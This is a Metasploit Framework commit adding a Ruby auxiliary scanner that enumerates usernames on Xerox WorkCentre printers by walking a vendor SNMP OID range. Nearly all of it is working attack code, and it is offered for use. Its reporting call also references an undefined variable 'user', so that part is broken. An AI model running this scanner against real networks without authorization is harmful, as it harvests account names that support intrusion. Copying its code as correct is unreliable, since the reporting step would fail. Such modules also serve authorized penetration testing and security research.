Added Xerox Workcenter aux module for enumerating users

git-svn-id: file:///home/svn/framework3/trunk@12102 4d416f70-5f16-0410-b530-b9f4589650da

modules/auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb

@@ -0,0 +1,70 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::SNMPClient
+	include Msf::Auxiliary::Report
+	include Msf::Auxiliary::Scanner
+
+	def initialize
+		super(
+			'Name'           => 'Xerox WorkCentre User Enumeration (SNMP)',
+			'Version'        => '$Revision$',
+			'Description'    => %q{
+					This module will do user enumeration based on the Xerox WorkCentre present on the network.
+					SNMP is used to extract the usernames.
+			},
+			'Author'         =>
+				[
+					'pello <fropert[at]packetfault.org>'
+				],
+			'License'        => MSF_LICENSE
+		)
+	end
+
+	def run_host(ip)
+		begin
+			snmp = connect_snmp
+
+			if snmp.get_value('sysDescr.0') =~ /Xerox/
+				@users = []
+				285222001.upto(285222299) { |oidusernames|
+					snmp.walk("1.3.6.1.4.1.253.8.51.5.1.1.4.151.#{oidusernames}") do |row|
+						row.each { |val| @users << val.value.to_s if val.value.to_s.length >= 1 }
+					end
+				}
+				print_good("#{ip} Found Users: #{@users.uniq.sort.join(", ")} ")
+				report_note(
+				:host => rhost,
+				:port => datastore['RPORT'],
+				:proto => 'udp',
+				:sname => 'snmp',
+				:update => :unique_data,
+				:type => 'smb.username',
+				:data => user)
+			end
+
+			disconnect_snmp
+
+		# No need to make noise about timeouts
+		rescue ::SNMP::UnsupportedVersion
+		rescue ::SNMP::RequestTimeout
+		rescue ::Rex::ConnectionRefused
+		rescue ::Interrupt
+			raise $!
+		rescue ::Exception => e
+			print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
+		end
+	end
+end